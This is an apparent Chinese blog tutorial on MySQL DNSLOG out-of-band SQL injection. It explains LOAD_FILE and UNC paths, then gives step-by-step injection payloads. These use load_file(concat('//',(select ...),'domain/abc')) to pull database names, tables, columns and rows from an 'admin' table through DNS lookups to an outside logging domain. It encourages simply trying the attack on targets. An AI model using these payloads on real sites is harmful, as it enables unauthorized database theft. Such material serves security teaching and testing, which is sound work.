mysql dns注入_网络安全从入门到精通 (第五章-2) MySQL注入 — Dns 注入

本文内容:DNSLOG的函数解析

UNC路径

DNSLOG的使用场景

DNSLOG注入的具体流程

1,DNSLOG的函数解析:

Mysql函数:LOAD_FILE()读取文件的函数。

读取字符串并返回文档内容未字符串,要使用次函数,文件必须位于服务器主机上,必须指定

完整路径的文件,而且必须有FILE权限。

该文件所有字节可读,但文件内容必须小于max_allowed_packet(限制server接收的数据包大小函数,默认1MB)。

如果该文件不存在或者无法读取,因为前面的条件之一不满足,函数返回NULL。

LOAD_FILE()读取文件函数的功能不是默认开启的,需要在mysql配置文件mysql-ini文件最后加一句:secure_file_priv=

添加之后需要重启才能生效。

2,UNC路径:通过命名规则,也称通用命名规范,通过命名规定,远程共享文件的一种格式。

什么是UNC路径:

UNC路径就是类似\\softer这样的网络路径:

格式:\\servername\sharename\filname

servername:服务器名称,

sharename:共享资源的名称

filename:共享资源文件夹的名称

3,DNSLOG的使用场景:

在某些无法直接利用漏洞获得回显的情况下,但是目标可以发出请求,这个时候就可以通过DNSLOG把想获取的数据外带出来。

对于SQL盲注,常见的方法就是二分法,去一个个猜,但是这样的方法麻烦不说,还很容易因

为数据请求频繁导致被ban。

所以可以将select的数据发送给一个url,利用Dns解析产生的记录日志来查看数据。

select load_file() 可以请求贡献文件。

DNS:是域名,所以需要一个域名:

免费的Dnslog平台,不用注册,不用登陆,不采集任何信息。

4,DNSLOG注入的具体流程:

前提是网站数据库开启了load_file功能。

1.判断是否存在sql注入:

and 1=1 和 and 1=2

2.通过判断之后发现此处是一个满足,而盲注常用的方法就是二分法,一个一个去猜,但是如果系统数据库开启了load_file功能。

我们就可以使用DNS解析产生的记录日志,来查看数据。

3.爆库:

and (select load_file(concat('//',(select database()),'域名/abc')))

4.爆表:

and (select load_file(concat('//',(select table_name from information_schema.tables=database() limit 0,1),'域名/abc')))

5.爆字段:

and (select load_file(concat('//',(select column_name from information_schema.columns where table_name='admin' limit 0,1),'域名/abc')))

6.爆数据:

and (select load_file(concat('//',(select id from admin limit 0,1),'域名/abc')))

解释:

域名:可以通过上面免费域名网站获得。

abc:域名下的文件夹。

limit:使用limit 是因为数据库查询出来的数据不一定是个字符串,查询出来返回好几条数据,需要使用limit一条一条取出来,拼进域名内。

不用管系统数据库是否开启load_file,直接干就行,能行,就是开启了,不能行,就是没开启,试过才知道。

与君共勉:

向着目标奔跑,

何必在意折翼的翅膀,

只要信心不死,

就看的见方向,

顺风适合行走,

逆风更适合飞翔,

人生路上什么都不怕,

就怕自己投降。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值